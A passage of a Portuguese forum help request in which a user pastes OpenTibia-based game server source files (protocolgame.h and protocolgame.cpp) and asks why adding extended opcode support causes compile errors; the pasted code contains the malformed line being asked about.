Ir para conteúdo

Featured Replies

Postado

Base PokeZR

 

Quanto eu tentei adicionar o opcodes em minhas sources e tentei compilar deu erro

(Sources que mexi)

protocolgame.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __PROTOCOLGAME__
#define __PROTOCOLGAME__

#include "otsystem.h"
#include "enums.h"

#include "protocol.h"
#include "creature.h"

class NetworkMessage;
class Player;
class Game;
class House;
class Container;
class Tile;
class Connection;
class Quest;

typedef boost::shared_ptr<NetworkMessage> NetworkMessage_ptr;
class ProtocolGame : public Protocol
{
    public:
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
        static uint32_t protocolGameCount;
#endif
        ProtocolGame(Connection_ptr connection): Protocol(connection)
        {
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
            protocolGameCount++;
#endif
            player = NULL;
            m_eventConnect = 0;
            m_debugAssertSent = m_acceptPackets = false;
        }

        virtual ~ProtocolGame()
        {
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
            protocolGameCount--;
#endif
            player = NULL;
        }

        enum {protocolId = 0x0A};
        enum {isSingleSocket = true};
        enum {hasChecksum = true};
        static const char* protocolName() {return "game protocol";}

        bool login(const std::string& name, uint32_t id, const std::string& password,
            OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster);
        bool logout(bool displayEffect, bool forceLogout);

        void setPlayer(Player* p);

    private:
        void disconnectClient(uint8_t error, const char* message);

        std::list<uint32_t> knownCreatureList;
        void checkCreatureAsKnown(uint32_t id, bool& known, uint32_t& removedKnown);

        bool connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version);
        void disconnect();

        virtual void releaseProtocol();
        virtual void deleteProtocolTask();

        bool canSee(uint16_t x, uint16_t y, uint16_t z) const;
        bool canSee(const Creature*) const;
        bool canSee(const Position& pos) const;

        virtual void onConnect();
        virtual void onRecvFirstMessage(NetworkMessage& msg);

        bool parseFirstPacket(NetworkMessage& msg);
        virtual void parsePacket(NetworkMessage& msg);

        //Parse methods
        void parseLogout(NetworkMessage& msg);
        void parseCancelMove(NetworkMessage& msg);

        void parseReceivePing(NetworkMessage& msg);
        void parseAutoWalk(NetworkMessage& msg);
        void parseMove(NetworkMessage& msg, Direction dir);
        void parseTurn(NetworkMessage& msg, Direction dir);

        void parseRequestOutfit(NetworkMessage& msg);
        void parseSetOutfit(NetworkMessage& msg);
        void parseSay(NetworkMessage& msg);
        void parseLookAt(NetworkMessage& msg);
        void parseFightModes(NetworkMessage& msg);
        void parseAttack(NetworkMessage& msg);
        void parseFollow(NetworkMessage& msg);

        void parseBugReport(NetworkMessage& msg);
        void parseDebugAssert(NetworkMessage& msg);

        void parseThrow(NetworkMessage& msg);
        void parseUseItemEx(NetworkMessage& msg);
        void parseBattleWindow(NetworkMessage& msg);
        void parseUseItem(NetworkMessage& msg);
        void parseCloseContainer(NetworkMessage& msg);
        void parseUpArrowContainer(NetworkMessage& msg);
        void parseUpdateTile(NetworkMessage& msg);
        void parseUpdateContainer(NetworkMessage& msg);
        void parseTextWindow(NetworkMessage& msg);
        void parseHouseWindow(NetworkMessage& msg);

        void parseLookInShop(NetworkMessage& msg);
        void parsePlayerPurchase(NetworkMessage& msg);
        void parsePlayerSale(NetworkMessage& msg);
        void parseCloseShop(NetworkMessage& msg);

        void parseQuests(NetworkMessage& msg);
        void parseQuestInfo(NetworkMessage& msg);

        void parseInviteToParty(NetworkMessage& msg);
        void parseJoinParty(NetworkMessage& msg);
        void parseRevokePartyInvite(NetworkMessage& msg);
        void parsePassPartyLeadership(NetworkMessage& msg);
        void parseLeaveParty(NetworkMessage& msg);
        void parseSharePartyExperience(NetworkMessage& msg);

        //trade methods
        void parseRequestTrade(NetworkMessage& msg);
        void parseLookInTrade(NetworkMessage& msg);
        void parseAcceptTrade(NetworkMessage& msg);
        void parseCloseTrade();

        //VIP methods
        void parseAddVip(NetworkMessage& msg);
        void parseRemoveVip(NetworkMessage& msg);

        void parseRotateItem(NetworkMessage& msg);

        //Channel tabs
        void parseCreatePrivateChannel(NetworkMessage& msg);
        void parseChannelInvite(NetworkMessage& msg);
        void parseChannelExclude(NetworkMessage& msg);
        void parseGetChannels(NetworkMessage& msg);
        void parseOpenChannel(NetworkMessage& msg);
        void parseOpenPriv(NetworkMessage& msg);
        void parseCloseChannel(NetworkMessage& msg);
        void parseCloseNpc(NetworkMessage& msg);
        void parseProcessRuleViolation(NetworkMessage& msg);
        void parseCloseRuleViolation(NetworkMessage& msg);
        void parseCancelRuleViolation(NetworkMessage& msg);

        //Send functions
        void sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel);
        void sendClosePrivate(uint16_t channelId);
        void sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName);
        void sendChannelsDialog();
        void sendChannel(uint16_t channelId, const std::string& channelName);
        void sendRuleViolationsChannel(uint16_t channelId);
        void sendOpenPrivateChannel(const std::string& receiver);
        void sendToChannel(const Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time = 0);
        void sendRemoveReport(const std::string& name);
        void sendLockRuleViolation();
        void sendRuleViolationCancel(const std::string& name);
        void sendIcons(int32_t icons);
        void sendFYIBox(const std::string& message);

        void sendDistanceShoot(const Position& from, const Position& to, uint8_t type);
        void sendMagicEffect(const Position& pos, uint8_t type);
        void sendAnimatedText(const Position& pos, uint8_t color, std::string text);
        void sendCreatureHealth(const Creature* creature);
        void sendSkills();
        void sendPing();
        void sendCreatureTurn(const Creature* creature, int16_t stackpos);
        void sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos = NULL);

        void sendCancel(const std::string& message);
        void sendCancelWalk();
        void sendChangeSpeed(const Creature* creature, uint32_t speed);
        void sendCancelTarget();
        void sendCreatureOutfit(const Creature* creature, const Outfit_t& outfit);
        void sendStats();
        void sendTextMessage(MessageClasses mclass, const std::string& message);
        void sendReLoginWindow();

        void sendTutorial(uint8_t tutorialId);
        void sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc);

        void sendCreatureSkull(const Creature* creature);
        void sendCreatureShield(const Creature* creature);

        void sendShop(const ShopInfoList& shop);
        void sendCloseShop();
        void sendGoods(const ShopInfoList& shop);
        void sendTradeItemRequest(const Player* player, const Item* item, bool ack);
        void sendCloseTrade();

        void sendTextWindow(uint32_t windowTextId, Item* item, uint16_t maxLen, bool canWrite);
        void sendTextWindow(uint32_t windowTextId, uint32_t itemId, const std::string& text);
        void sendHouseWindow(uint32_t windowTextId, House* house, uint32_t listId, const std::string& text);

        void sendOutfitWindow();
        void sendQuests();
        void sendQuestInfo(Quest* quest);
        void reloadCreature(const Creature* creature);
        void sendCreatureNick(const Creature* creature);

        void sendVIPLogIn(uint32_t guid);
        void sendVIPLogOut(uint32_t guid);
        void sendVIP(uint32_t guid, const std::string& name, bool isOnline);

        void sendCreatureLight(const Creature* creature);
        void sendWorldLight(const LightInfo& lightInfo);

        void sendCreatureSquare(const Creature* creature, SquareColor_t color);

        //tiles
        void sendAddTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item);
        void sendUpdateTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item);
        void sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos);
        void sendUpdateTile(const Tile* tile, const Position& pos);

        void sendAddCreature(const Creature* creature, const Position& pos, uint32_t stackpos);
        void sendRemoveCreature(const Creature* creature, const Position& pos, uint32_t stackpos);
        void sendMoveCreature(const Creature* creature, const Tile* newTile, const Position& newPos, uint32_t newStackPos,
            const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport);

        //containers
        void sendAddContainerItem(uint8_t cid, const Item* item);
        void sendUpdateContainerItem(uint8_t cid, uint8_t slot, const Item* item);
        void sendRemoveContainerItem(uint8_t cid, uint8_t slot);

        void sendContainer(uint32_t cid, const Container* container, bool hasParent);
        void sendCloseContainer(uint32_t cid);

        //inventory
        void sendAddInventoryItem(slots_t slot, const Item* item);
        void sendUpdateInventoryItem(slots_t slot, const Item* item);
        void sendRemoveInventoryItem(slots_t slot);

        //Help functions

        // translate a tile to clientreadable format
        void GetTileDescription(const Tile* tile, NetworkMessage_ptr msg);

        // translate a floor to clientreadable format
        void GetFloorDescription(NetworkMessage_ptr msg, int32_t x, int32_t y, int32_t z,
            int32_t width, int32_t height, int32_t offset, int32_t& skip);

        // translate a map area to clientreadable format
        void GetMapDescription(int32_t x, int32_t y, int32_t z,
            int32_t width, int32_t height, NetworkMessage_ptr msg);

        void AddMapDescription(NetworkMessage_ptr msg, const Position& pos);
        void AddTextMessage(NetworkMessage_ptr msg, MessageClasses mclass, const std::string& message);
        void AddAnimatedText(NetworkMessage_ptr msg, const Position& pos, uint8_t color, const std::string& text);
        void AddMagicEffect(NetworkMessage_ptr msg, const Position& pos, uint8_t type);
        void AddDistanceShoot(NetworkMessage_ptr msg, const Position& from, const Position& to, uint8_t type);
        void AddCreature(NetworkMessage_ptr msg, const Creature* creature, bool known, uint32_t remove);
        void AddPlayerStats(NetworkMessage_ptr msg);
        void AddCreatureSpeak(NetworkMessage_ptr msg, const Creature* creature, SpeakClasses type,
            std::string text, uint16_t channelId, uint32_t time = 0, Position* pos = NULL);
        void AddCreatureHealth(NetworkMessage_ptr msg, const Creature* creature);
        void AddCreatureOutfit(NetworkMessage_ptr msg, const Creature* creature, const Outfit_t& outfit, bool outfitWindow = false);
        void AddPlayerSkills(NetworkMessage_ptr msg);
        void AddWorldLight(NetworkMessage_ptr msg, const LightInfo& lightInfo);
        void AddCreatureLight(NetworkMessage_ptr msg, const Creature* creature);

        //tiles
        void AddTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item);
        void AddTileCreature(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Creature* creature);
        void UpdateTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item);
        void RemoveTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos);

        void MoveUpCreature(NetworkMessage_ptr msg, const Creature* creature,
            const Position& newPos, const Position& oldPos, uint32_t oldStackpos);
        void MoveDownCreature(NetworkMessage_ptr msg, const Creature* creature,
            const Position& newPos, const Position& oldPos, uint32_t oldStackpos);

        //container
        void AddContainerItem(NetworkMessage_ptr msg, uint8_t cid, const Item* item);
        void UpdateContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot, const Item* item);
        void RemoveContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot);

        //inventory
        void AddInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item);
        void UpdateInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item);
        void RemoveInventoryItem(NetworkMessage_ptr msg, slots_t slot);

        //rule violation window
        void parseViolationWindow(NetworkMessage& msg);

        //shop
        void AddShopItem(NetworkMessage_ptr msg, const ShopInfo item);
        void parseExtendedOpcode(NetworkMessage& msg);
        void sendExtendedOpcode(uint8_t opcode, const std::string& buffer);

        #define addGameTask(f, ...) addGameTaskInternal(0, boost::bind(f, &g_game, __VA_ARGS__))
        #define addGameTaskTimed(delay, f, ...) addGameTaskInternal(delay, boost::bind(f, &g_game, __VA_ARGS__))
        template<class FunctionType>
        void addGameTaskInternal(uint32_t delay, const FunctionType&);

        friend class Player;
        Player* player;

        uint32_t m_eventConnect;
        bool m_debugAssertSent, m_acceptPackets;
};
#endif
 

protocolgame.cpp

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////
#include "otpch.h"
#include "resources.h"

#include <boost/function.hpp>
#include <iostream>

#include "protocolgame.h"
#include "textlogger.h"

#include "waitlist.h"
#include "player.h"

#include "connection.h"
#include "networkmessage.h"
#include "outputmessage.h"

#include "iologindata.h"
#include "ioban.h"

#include "items.h"
#include "tile.h"
#include "house.h"

#include "actions.h"
#include "creatureevent.h"
#include "quests.h"

#include "chat.h"
#include "configmanager.h"
#include "game.h"

#if defined(WINDOWS) && !defined(__CONSOLE__)
#include "gui.h"
#endif

extern Game g_game;
extern ConfigManager g_config;
extern Actions actions;
extern CreatureEvents* g_creatureEvents;
extern Chat g_chat;

template<class FunctionType>
void ProtocolGame::addGameTaskInternal(uint32_t delay, const FunctionType& func)
{
    if(delay > 0)
        Dispatcher::getInstance().addTask(createTask(delay, func));
    else
        Dispatcher::getInstance().addTask(createTask(func));
}

#ifdef __ENABLE_SERVER_DIAGNOSTIC__
uint32_t ProtocolGame::protocolGameCount = 0;
#endif

void ProtocolGame::setPlayer(Player* p)
{
    player = p;
}

void ProtocolGame::releaseProtocol()
{
    if(player && player->client == this)
        player->client = NULL;

    Protocol::releaseProtocol();
}

void ProtocolGame::deleteProtocolTask()
{
    if(player)
    {
        g_game.freeThing(player);
        player = NULL;
    }

    Protocol::deleteProtocolTask();
}

bool ProtocolGame::login(const std::string& name, uint32_t id, const std::string& password,
    OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster)
{
    //dispatcher thread
    PlayerVector players = g_game.getPlayersByName(name);
    Player* _player = NULL;
    if(!players.empty())
        _player = players[random_range(0, (players.size() - 1))];

    if(!_player || name == "Account Manager" || g_config.getNumber(ConfigManager::ALLOW_CLONES) > (int32_t)players.size())
    {
        player = new Player(name, this);
        player->addRef();

        player->setID();
        if(!IOLoginData::getInstance()->loadPlayer(player, name, true))
        {
            disconnectClient(0x14, "Your character could not be loaded.");
            return false;
        }

        Ban ban;
        ban.value = player->getID();
        ban.param = PLAYERBAN_BANISHMENT;

        ban.type = BAN_PLAYER;
        if(IOBan::getInstance()->getData(ban) && !player->hasFlag(PlayerFlag_CannotBeBanned))
        {
            bool deletion = ban.expires < 0;
            std::string name_ = "Automatic ";
            if(!ban.adminId)
                name_ += (deletion ? "deletion" : "banishment");
            else
                IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true);

            char buffer[500 + ban.comment.length()];
            sprintf(buffer, "Your character has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.",
                (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(),
                getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(),
                (deletion ? "character won't be undeleted" : "banishment will be lifted at:\n"),
                (deletion ? "." : formatDateShort(ban.expires, true).c_str()));

            disconnectClient(0x14, buffer);
            return false;
        }

        if(IOBan::getInstance()->isPlayerBanished(player->getGUID(), PLAYERBAN_LOCK) && id != 1)
        {
            if(g_config.getBool(ConfigManager::NAMELOCK_MANAGER))
            {
                player->name = "Account Manager";
                player->accountManager = MANAGER_NAMELOCK;

                player->managerNumber = id;
                player->managerString2 = name;
            }
            else
            {
                disconnectClient(0x14, "Your character has been namelocked.");
                return false;
            }
        }
        else if(player->getName() == "Account Manager" && g_config.getBool(ConfigManager::ACCOUNT_MANAGER))
        {
            if(id != 1)
            {
                player->accountManager = MANAGER_ACCOUNT;
                player->managerNumber = id;
            }
            else
                player->accountManager = MANAGER_NEW;
        }

        if(gamemaster && !player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges))
        {
            disconnectClient(0x14, "You are not a gamemaster! Turn off the gamemaster mode in your IP changer.");
            return false;
        }

        if(!player->hasFlag(PlayerFlag_CanAlwaysLogin))
        {
            if(g_game.getGameState() == GAME_STATE_CLOSING)
            {
                disconnectClient(0x14, "Gameworld is just going down, please come back later.");
                return false;
            }

            if(g_game.getGameState() == GAME_STATE_CLOSED)
            {
                disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado.");
                return false;
            }
        }

        if(g_config.getBool(ConfigManager::ONE_PLAYER_ON_ACCOUNT) && !player->isAccountManager() &&
            !IOLoginData::getInstance()->hasCustomFlag(id, PlayerCustomFlag_CanLoginMultipleCharacters))
        {
            bool found = false;
            PlayerVector tmp = g_game.getPlayersByAccount(id);
            for(PlayerVector::iterator it = tmp.begin(); it != tmp.end(); ++it)
            {
                if((*it)->getName() != name)
                    continue;

                found = true;
                break;
            }

            if(tmp.size() > 0 && !found)
            {
                disconnectClient(0x14, "You may only login with one character\nof your account at the same time.");
                return false;
            }
        }

        if(!WaitingList::getInstance()->login(player))
        {
            if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
            {
                TRACK_MESSAGE(output);
                std::stringstream ss;
                ss << "Too many players online.\n" << "You are ";

                int32_t slot = WaitingList::getInstance()->getSlot(player);
                if(slot)
                {
                    ss << "at ";
                    if(slot > 0)
                        ss << slot;
                    else
                        ss << "unknown";

                    ss << " place on the waiting list.";
                }
                else
                    ss << "awaiting connection...";

                output->AddByte(0x16);
                output->AddString(ss.str());
                output->AddByte(WaitingList::getTime(slot));
                OutputMessagePool::getInstance()->send(output);
            }

            getConnection()->close();
            return false;
        }

        if(!IOLoginData::getInstance()->loadPlayer(player, name))
        {
            disconnectClient(0x14, "Your character could not be loaded.");
            return false;
        }

        player->setOperatingSystem(operatingSystem);
        player->setClientVersion(version);
        if(!g_game.placeCreature(player, player->getLoginPosition()) && !g_game.placeCreature(player, player->getMasterPosition(), false, true))
        {
            disconnectClient(0x14, "Temple position is wrong. Contact with the administration.");
            return false;

        }

        player->lastIP = player->getIP();
        player->lastLoad = OTSYS_TIME();
        player->lastLogin = std::max(time(NULL), player->lastLogin + 1);

        m_acceptPackets = true;
        return true;
    }
    else if(_player->client)
    {
        if(m_eventConnect || !g_config.getBool(ConfigManager::REPLACE_KICK_ON_LOGIN))
        {
            //A task has already been scheduled just bail out (should not be overriden)
            disconnectClient(0x14, "You are already logged in.");
            return false;
        }

        g_chat.removeUserFromAllChannels(_player);
        _player->disconnect();
        _player->isConnecting = true;

        addRef();
        m_eventConnect = Scheduler::getInstance().addEvent(createSchedulerTask(
            1000, boost::bind(&ProtocolGame::connect, this, _player->getID(), operatingSystem, version)));
        return true;
    }

    addRef();
    return connect(_player->getID(), operatingSystem, version);
}

bool ProtocolGame::logout(bool displayEffect, bool forceLogout)
{
    //dispatcher thread
    if(!player)
        return false;

    if(!player->isRemoved())
    {
        if(!forceLogout)
        {
            if(!IOLoginData::getInstance()->hasCustomFlag(player->getAccount(), PlayerCustomFlag_CanLogoutAnytime))
            {
                if(player->getTile()->hasFlag(TILESTATE_NOLOGOUT))
                {
                    player->sendCancelMessage(RET_YOUCANNOTLOGOUTHERE);
                    return false;
                }

                if(player->hasCondition(CONDITION_INFIGHT))
                {
                    player->sendCancelMessage(RET_YOUMAYNOTLOGOUTDURINGAFIGHT);
                    return false;
                }

                if(!g_creatureEvents->playerLogout(player, false)) //let the script handle the error message
                    return false;
            }
            else
                g_creatureEvents->playerLogout(player, false);
        }
        else if(!g_creatureEvents->playerLogout(player, true));
            return false;
    }
    else
        displayEffect = false;

    if(displayEffect && !player->isGhost())
        g_game.addMagicEffect(player->getPosition(), MAGIC_EFFECT_POFF);

    if(Connection_ptr connection = getConnection())
        connection->close();

    return g_game.removeCreature(player);
}

bool ProtocolGame::connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version)
{
    unRef();
    m_eventConnect = 0;

    Player* _player = g_game.getPlayerByID(playerId);
    if(!_player || _player->isRemoved() || _player->client)
    {
        disconnectClient(0x14, "You are already logged in.");
        return false;
    }

    player = _player;
    player->addRef();
    player->isConnecting = false;

    player->client = this;
    player->sendCreatureAppear(player);

    player->setOperatingSystem(operatingSystem);
    player->setClientVersion(version);

    player->lastIP = player->getIP();
    player->lastLoad = OTSYS_TIME();
    player->lastLogin = std::max(time(NULL), player->lastLogin + 1);

    m_acceptPackets = true;
    return true;
}

void ProtocolGame::disconnect()
{
    if(getConnection())
        getConnection()->close();
}

void ProtocolGame::disconnectClient(uint8_t error, const char* message)
{
    if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
    {
        TRACK_MESSAGE(output);
        output->AddByte(error);
        output->AddString(message);
        OutputMessagePool::getInstance()->send(output);
    }

    disconnect();
}

void ProtocolGame::onConnect()
{
    if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false))
    {
        TRACK_MESSAGE(output);
        enableChecksum();

        output->AddByte(0x1F);
        output->AddU16(random_range(0, 0xFFFF));
        output->AddU16(0x00);
        output->AddByte(random_range(0, 0xFF));

        OutputMessagePool::getInstance()->send(output);
    }
}

void ProtocolGame::onRecvFirstMessage(NetworkMessage& msg)
{
    parseFirstPacket(msg);
}

bool ProtocolGame::parseFirstPacket(NetworkMessage& msg)
{
    if(
#if defined(WINDOWS) && !defined(__CONSOLE__)
        !GUI::getInstance()->m_connections ||
#endif
        g_game.getGameState() == GAME_STATE_SHUTDOWN)
    {
        getConnection()->close();
        return false;
    }

    OperatingSystem_t operatingSystem = (OperatingSystem_t)msg.GetU16();
    uint16_t version = msg.GetU16();
    if(!RSA_decrypt(msg))
    {
        disconnectClient(0x14, "Você só pode logar com o Client Oficial.");
        return false;
    }

    uint32_t key[4] = {msg.GetU32(), msg.GetU32(), msg.GetU32(), msg.GetU32()};
    enableXTEAEncryption();
    setXTEAKey(key);
    // notifies to otclient that this server can receive extended game protocol opcodes
    if(operatingSystem >= CLIENTOS_OTCLIENT_LINUX)
    sendExtendedOpcode(0x00, std::string());

    bool gamemaster = msg.GetByte();
    std::string name = msg.GetString(), character = msg.GetString(), password = msg.GetString();

    msg.SkipBytes(6); //841- wtf?
    if(version < CLIENT_VERSION_MIN || version > CLIENT_VERSION_MAX)
    {
        disconnectClient(0x14, CLIENT_VERSION_STRING);
        return false;
    }

    if(name.empty())
    {
        if(!g_config.getBool(ConfigManager::ACCOUNT_MANAGER))
        {
            disconnectClient(0x14, "Invalid account name.");
            return false;
        }

        name = "1";
        password = "1";
    }

    if(g_game.getGameState() < GAME_STATE_NORMAL)
    {
        disconnectClient(0x14, "Gameworld is just starting up, please wait.");
        return false;
    }

    if(g_game.getGameState() == GAME_STATE_MAINTAIN)
    {
        disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado.");
        return false;
    }

    if(ConnectionManager::getInstance()->isDisabled(getIP(), protocolId))
    {
        disconnectClient(0x14, "Too many connections attempts from your IP address, please try again later.");
        return false;
    }

    if(IOBan::getInstance()->isIpBanished(getIP()))
    {
        disconnectClient(0x14, "Your IP is banished!");
        return false;
    }

    uint32_t id = 1;
    if(!IOLoginData::getInstance()->getAccountId(name, id))
    {
        ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false);
        disconnectClient(0x14, "Invalid account name.");
        return false;
    }

    std::string hash;
    if(!IOLoginData::getInstance()->getPassword(id, hash, character) || !encryptTest(password, hash))
    {
        ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false);
        disconnectClient(0x14, "Invalid password.");
        return false;
    }

    Ban ban;
    ban.value = id;

    ban.type = BAN_ACCOUNT;
    if(IOBan::getInstance()->getData(ban) && !IOLoginData::getInstance()->hasFlag(id, PlayerFlag_CannotBeBanned))
    {
        bool deletion = ban.expires < 0;
        std::string name_ = "Automatic ";
        if(!ban.adminId)
            name_ += (deletion ? "deletion" : "banishment");
        else
            IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true);

        char buffer[500 + ban.comment.length()];
        sprintf(buffer, "Your account has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.",
            (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(),
            getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(),
            (deletion ? "account won't be undeleted" : "banishment will be lifted at:\n"),
            (deletion ? "." : formatDateShort(ban.expires, true).c_str()));

        disconnectClient(0x14, buffer);
        return false;
    }

    ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, true);
    Dispatcher::getInstance().addTask(createTask(boost::bind(
        &ProtocolGame::login, this, character, id, password, operatingSystem, version, gamemaster)));
    return true;
}

void ProtocolGame::parsePacket(NetworkMessage &msg)
{
    if(!player || !m_acceptPackets || g_game.getGameState() == GAME_STATE_SHUTDOWN
        || msg.getMessageLength() <= 0)
        return;

    uint8_t recvbyte = msg.GetByte();
    //a dead player cannot performs actions
    if(player->isRemoved() && recvbyte != 0x14)
        return;

    if(player->isAccountManager())
    {
        switch(recvbyte)
        {
            case 0x14:
                parseLogout(msg);
                break;

            case 0x96:
                parseSay(msg);
                break;

            default:
                sendCancelWalk();
                break;
        }
    }
    else
    {
        switch(recvbyte)
        {
            case 0x14: // logout
                parseLogout(msg);
                break;

            case 0x1E: // keep alive / ping response
            case 0x32: // otclient extended 
                opcodeparseExtendedOpcode(msg) 
                parseReceivePing(msg);
                break;

            case 0x64: // move with steps
                parseAutoWalk(msg);
                break;

            case 0x65: // move north
            case 0x66: // move east
            case 0x67: // move south
            case 0x68: // move west
                parseMove(msg, (Direction)(recvbyte - 0x65));
                break;

            case 0x69: // stop-autowalk
                addGameTask(&Game::playerStopAutoWalk, player->getID());
                break;

            case 0x6A:
                parseMove(msg, NORTHEAST);
                break;

            case 0x6B:
                parseMove(msg, SOUTHEAST);
                break;

            case 0x6C:
                parseMove(msg, SOUTHWEST);
                break;

            case 0x6D:
                parseMove(msg, NORTHWEST);
                break;

            case 0x6F: // turn north
            case 0x70: // turn east
            case 0x71: // turn south
            case 0x72: // turn west
                parseTurn(msg, (Direction)(recvbyte - 0x6F));
                break;

            case 0x78: // throw item
                parseThrow(msg);
                break;

            case 0x79: // description in shop window
                parseLookInShop(msg);
                break;

            case 0x7A: // player bought from shop
                parsePlayerPurchase(msg);
                break;

            case 0x7B: // player sold to shop
                parsePlayerSale(msg);
                break;

            case 0x7C: // player closed shop window
                parseCloseShop(msg);
                break;

            case 0x7D: // Request trade
                parseRequestTrade(msg);
                break;

            case 0x7E: // Look at an item in trade
                parseLookInTrade(msg);
                break;

            case 0x7F: // Accept trade
                parseAcceptTrade(msg);
                break;

            case 0x80: // close/cancel trade
                parseCloseTrade();
                break;

            case 0x82: // use item
                parseUseItem(msg);
                break;

            case 0x83: // use item
                parseUseItemEx(msg);
                break;

            case 0x84: // battle window
                parseBattleWindow(msg);
                break;

            case 0x85: //rotate item
                parseRotateItem(msg);
                break;

            case 0x87: // close container
                parseCloseContainer(msg);
                break;

            case 0x88: //"up-arrow" - container
                parseUpArrowContainer(msg);
                break;

            case 0x89:
                parseTextWindow(msg);
                break;

            case 0x8A:
                parseHouseWindow(msg);
                break;

            case 0x8C: // throw item
                parseLookAt(msg);
                break;

            case 0x96: // say something
                parseSay(msg);
                break;

            case 0x97: // request channels
                parseGetChannels(msg);
                break;

            case 0x98: // open channel
                parseOpenChannel(msg);
                break;

            case 0x99: // close channel
                parseCloseChannel(msg);
                break;

            case 0x9A: // open priv
                parseOpenPriv(msg);
                break;

            case 0x9B: //process report
                parseProcessRuleViolation(msg);
                break;

            case 0x9C: //gm closes report
                parseCloseRuleViolation(msg);
                break;

            case 0x9D: //player cancels report
                parseCancelRuleViolation(msg);
                break;

            case 0x9E: // close NPC
                parseCloseNpc(msg);
                break;

            case 0xA0: // set attack and follow mode
                parseFightModes(msg);
                break;

            case 0xA1: // attack
                parseAttack(msg);
                break;

            case 0xA2: //follow
                parseFollow(msg);
                break;

            case 0xA3: // invite party
                parseInviteToParty(msg);
                break;

            case 0xA4: // join party
                parseJoinParty(msg);
                break;

            case 0xA5: // revoke party
                parseRevokePartyInvite(msg);
                break;

            case 0xA6: // pass leadership
                parsePassPartyLeadership(msg);
                break;

            case 0xA7: // leave party
                parseLeaveParty(msg);
                break;

            case 0xA8: // share exp
                parseSharePartyExperience(msg);
                break;

            case 0xAA:
                parseCreatePrivateChannel(msg);
                break;

            case 0xAB:
                parseChannelInvite(msg);
                break;

            case 0xAC:
                parseChannelExclude(msg);
                break;

            case 0xBE: // cancel move
                parseCancelMove(msg);
                break;

            case 0xC9: //client request to resend the tile
                parseUpdateTile(msg);
                break;

            case 0xCA: //client request to resend the container (happens when you store more than container maxsize)
                parseUpdateContainer(msg);
                break;

            case 0xD2: // request outfit
                if((!player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges) || !g_config.getBool(
                    ConfigManager::DISABLE_OUTFITS_PRIVILEGED)) && (g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT)
                    || g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS) || g_config.getBool(ConfigManager::ALLOW_CHANGEADDONS)))
                    parseRequestOutfit(msg);
                break;

            case 0xD3: // set outfit
